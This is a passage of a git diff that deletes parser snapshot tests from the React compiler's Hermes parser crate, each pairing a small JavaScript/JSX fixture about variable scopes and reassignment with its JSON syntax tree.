-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        69,
-                        74
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "test",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        75,
-                        79
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      69,
-                      79
-                    ]
-                  },
-                  "cases": [
-                    {
-                      "type": "SwitchCase",
-                      "test": {
-                        "type": "NumericLiteral",
-                        "value": 0.0,
-                        "loc": null,
-                        "range": [
-                          94,
-                          95
-                        ]
-                      },
-                      "consequent": [
-                        {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ExpressionStatement",
-                              "expression": {
-                                "type": "AssignmentExpression",
-                                "operator": "=",
-                                "left": {
-                                  "type": "Identifier",
-                                  "name": "x",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    107,
-                                    108
-                                  ]
-                                },
-                                "right": {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "Identifier",
-                                    "name": "props",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      111,
-                                      116
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "v0",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      117,
-                                      119
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    111,
-                                    119
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  107,
-                                  119
-                                ]
-                              },
-                              "directive": null,
-                              "loc": null,
-                              "range": [
-                                107,
-                                120
-                              ]
-                            },
-                            {
-                              "type": "BreakStatement",
-                              "label": null,
-                              "loc": null,
-                              "range": [
-                                129,
-                                135
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            97,
-                            143
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        89,
-                        143
-                      ]
-                    },
-                    {
-                      "type": "SwitchCase",
-                      "test": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          155,
-                          156
-                        ]
-                      },
-                      "consequent": [
-                        {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ExpressionStatement",
-                              "expression": {
-                                "type": "AssignmentExpression",
-                                "operator": "=",
-                                "left": {
-                                  "type": "Identifier",
-                                  "name": "x",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    168,
-                                    169
-                                  ]
-                                },
-                                "right": {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "Identifier",
-                                    "name": "props",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      172,
-                                      177
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "v1",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      178,
-                                      180
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    172,
-                                    180
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  168,
-                                  180
-                                ]
-                              },
-                              "directive": null,
-                              "loc": null,
-                              "range": [
-                                168,
-                                181
-                              ]
-                            },
-                            {
-                              "type": "BreakStatement",
-                              "label": null,
-                              "loc": null,
-                              "range": [
-                                190,
-                                196
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            158,
-                            204
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        150,
-                        204
-                      ]
-                    },
-                    {
-                      "type": "SwitchCase",
-                      "test": {
-                        "type": "NumericLiteral",
-                        "value": 2.0,
-                        "loc": null,
-                        "range": [
-                          216,
-                          217
-                        ]
-                      },
-                      "consequent": [
-                        {
-                          "type": "BlockStatement",
-                          "body": [],
-                          "loc": null,
-                          "range": [
-                            219,
-                            228
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        211,
-                        228
-                      ]
-                    },
-                    {
-                      "type": "SwitchCase",
-                      "test": null,
-                      "consequent": [
-                        {
-                          "type": "BlockStatement",
-                          "body": [
-                            {
-                              "type": "ExpressionStatement",
-                              "expression": {
-                                "type": "AssignmentExpression",
-                                "operator": "=",
-                                "left": {
-                                  "type": "Identifier",
-                                  "name": "x",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    254,
-                                    255
-                                  ]
-                                },
-                                "right": {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "Identifier",
-                                    "name": "props",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      258,
-                                      263
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "v2",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      264,
-                                      266
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    258,
-                                    266
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  254,
-                                  266
-                                ]
-                              },
-                              "directive": null,
-                              "loc": null,
-                              "range": [
-                                254,
-                                267
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            244,
-                            275
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        235,
-                        275
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    61,
-                    281
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                55,
-                285
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "IfStatement",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        301,
-                        306
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "cond2",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        307,
-                        312
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      301,
-                      312
-                    ]
-                  },
-                  "consequent": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              322,
-                              323
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                326,
-                                331
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                332,
-                                333
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              326,
-                              333
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            322,
-                            333
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          322,
-                          334
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      314,
-                      340
-                    ]
-                  },
-                  "alternate": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              354,
-                              355
-                            ]
-                          },
-                          "right": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "props",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                358,
-                                363
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "c",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                364,
-                                365
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              358,
-                              365
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            354,
-                            365
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          354,
-                          366
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      346,
-                      372
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    297,
-                    372
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                291,
-                376
-              ]
-            },
-            "loc": null,
-            "range": [
-              39,
-              376
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                379,
-                380
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              379,
-              381
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          383
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        383
-      ],
-      "loc": null,
-      "range": [
-        0,
-        383
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    383
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@same-variable-as-dep-and-redeclare-maybe-frozen.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@same-variable-as-dep-and-redeclare-maybe-frozen.js.snap
deleted file mode 100644
index ff6f31750185..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@same-variable-as-dep-and-redeclare-maybe-frozen.js.snap
+++ /dev/null
@@ -1,836 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/same-variable-as-dep-and-redeclare-maybe-frozen.js
----
-Input:
-// note: comments are for the ideal scopes, not what is currently
-// emitted
-function foo(props) {
-  // scope 0: deps=[props.a] decl=[x] reassign=none
-  let x = [];
-  x.push(props.a);
-
-  // scope 1: deps=[x] decl=[header] reassign=none
-  const header = props.showHeader ? <div>{x}</div> : null;
-
-  // scope 2:
-  // deps=[x, props.b, props.c]
-  // decl=none
-  // reassign=[x]
-  const y = [x]; // y depends on the earlier x
-  x = []; // x reassigned
-  y.push(props.b); // interleaved mutation of x/y
-  x.push(props.c); // interleaved mutation
-
-  // scope 3 ...
-  const content = (
-    <div>
-      {x}
-      {y}
-    </div>
-  );
-
-  // scope 4 ...
-  return (
-    <>
-      {header}
-      {content}
-    </>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          86,
-          89
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            90,
-            95
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    157,
-                    158
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    161,
-                    163
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  157,
-                  163
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              153,
-              164
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    167,
-                    168
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    169,
-                    173
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  167,
-                  173
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      174,
-                      179
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      180,
-                      181
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    174,
-                    181
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                167,
-                182
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              167,
-              183
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "header",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    244,
-                    250
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        253,
-                        258
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "showHeader",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        259,
-                        269
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      253,
-                      269
-                    ]
-                  },
-                  "alternate": {
-                    "type": "NullLiteral",
-                    "loc": null,
-                    "range": [
-                      289,
-                      293
-                    ]
-                  },
-                  "consequent": {
-                    "type": "JSXElement",
-                    "openingElement": {
-                      "type": "JSXOpeningElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "div",
-                        "loc": null,
-                        "range": [
-                          273,
-                          276
-                        ]
-                      },
-                      "attributes": [],
-                      "selfClosing": false,
-                      "loc": null,
-                      "range": [
-                        272,
-                        277
-                      ]
-                    },
-                    "children": [
-                      {
-                        "type": "JSXExpressionContainer",
-                        "expression": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            278,
-                            279
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          277,
-                          280
-                        ]
-                      }
-                    ],
-                    "closingElement": {
-                      "type": "JSXClosingElement",
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "name": "div",
-                        "loc": null,
-                        "range": [
-                          282,
-                          285
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        280,
-                        286
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      272,
-                      286
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    253,
-                    293
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  244,
-                  293
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              238,
-              294
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    383,
-                    384
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        388,
-                        389
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    387,
-                    390
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  383,
-                  390
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              377,
-              391
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  424,
-                  425
-                ]
-              },
-              "right": {
-                "type": "ArrayExpression",
-                "elements": [],
-                "loc": null,
-                "range": [
-                  428,
-                  430
-                ]
-              },
-              "loc": null,
-              "range": [
-                424,
-                430
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              424,
-              431
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    450,
-                    451
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    452,
-                    456
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  450,
-                  456
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      457,
-                      462
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      463,
-                      464
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    457,
-                    464
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                450,
-                465
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              450,
-              466
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    500,
-                    501
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    502,
-                    506
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  500,
-                  506
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      507,
-                      512
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      513,
-                      514
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    507,
-                    514
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                500,
-                515
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              500,
-              516
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "content",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    567,
-                    574
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        584,
-                        587
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      583,
-                      588
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXText",
-                      "value": "\n      ",
-                      "raw": "\n      ",
-                      "loc": null,
-                      "range": [
-                        588,
-                        595
-                      ]
-                    },
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          596,
-                          597
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        595,
-                        598
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n      ",
-                      "raw": "\n      ",
-                      "loc": null,
-                      "range": [
-                        598,
-                        605
-                      ]
-                    },
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          606,
-                          607
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        605,
-                        608
-                      ]
-                    },
-                    {
-                      "type": "JSXText",
-                      "value": "\n    ",
-                      "raw": "\n    ",
-                      "loc": null,
-                      "range": [
-                        608,
-                        613
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        615,
-                        618
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      613,
-                      619
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    583,
-                    619
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  567,
-                  623
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              561,
-              624
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXFragment",
-              "openingFragment": {
-                "type": "JSXOpeningFragment",
-                "loc": null,
-                "range": [
-                  658,
-                  660
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    660,
-                    667
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "header",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      668,
-                      674
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    667,
-                    675
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    675,
-                    682
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "content",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      683,
-                      690
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    682,
-                    691
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    691,
-                    696
-                  ]
-                }
-              ],
-              "closingFragment": {
-                "type": "JSXClosingFragment",
-                "loc": null,
-                "range": [
-                  696,
-                  699
-                ]
-              },
-              "loc": null,
-              "range": [
-                658,
-                699
-              ]
-            },
-            "loc": null,
-            "range": [
-              645,
-              704
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          97,
-          706
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        77,
-        706
-      ],
-      "loc": null,
-      "range": [
-        77,
-        706
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    77,
-    706
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@same-variable-as-dep-and-redeclare.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@same-variable-as-dep-and-redeclare.js.snap
deleted file mode 100644
index 0b879e1d7f1e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@same-variable-as-dep-and-redeclare.js.snap
+++ /dev/null
@@ -1,791 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/same-variable-as-dep-and-redeclare.js
----
-Input:
-// note: comments are for the ideal scopes, not what is currently
-// emitted
-function foo(props) {
-  // scope 0: deps=[props.a] decl=[x] reassign=none
-  let x = [];
-  x.push(props.a);
-
-  // scope 1: deps=[x] decl=[header] reassign=none
-  const header = <div>{x}</div>;
-
-  // scope 2:
-  // deps=[x, props.b, props.c]
-  // decl=none
-  // reassign=[x]
-  const y = [x]; // y depends on the earlier x
-  x = []; // x reassigned
-  y.push(props.b); // interleaved mutation of x/y
-  x.push(props.c); // interleaved mutation
-
-  // scope 3 ...
-  const content = (
-    <div>
-      {x}
-      {y}
-    </div>
-  );
-
-  // scope 4 ...
-  return (
-    <>
-      {header}
-      {content}
-    </>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          86,
-          89
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            90,
-            95
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    157,
-                    158
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    161,
-                    163
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  157,
-                  163
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              153,
-              164
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    167,
-                    168
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    169,
-                    173
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  167,
-                  173
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      174,
-                      179
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      180,
-                      181
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    174,
-                    181
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                167,
-                182
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              167,
-              183
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "header",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    244,
-                    250
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        254,
-                        257
-                      ]
-                    },
-                    "attributes": [],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      253,
-                      258
-                    ]
-                  },
-                  "children": [
-                    {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          259,
-                          260
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        258,
-                        261
-                      ]
-                    }
-                  ],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "div",
-                      "loc": null,
-                      "range": [
-                        263,
-                        266
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      261,
-                      267
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    253,
-                    267
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  244,
-                  267
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              238,
-              268
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    357,
-                    358
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        362,
-                        363
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    361,
-                    364
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  357,
-                  364
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              351,
-              365
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  398,
-                  399
-                ]
-              },
-              "right": {
-                "type": "ArrayExpression",
-                "elements": [],
-                "loc": null,
-                "range": [
-                  402,
-                  404
-                ]
-              },
-              "loc": null,
-              "range": [
-                398,
-                404
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              398,
-              405
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
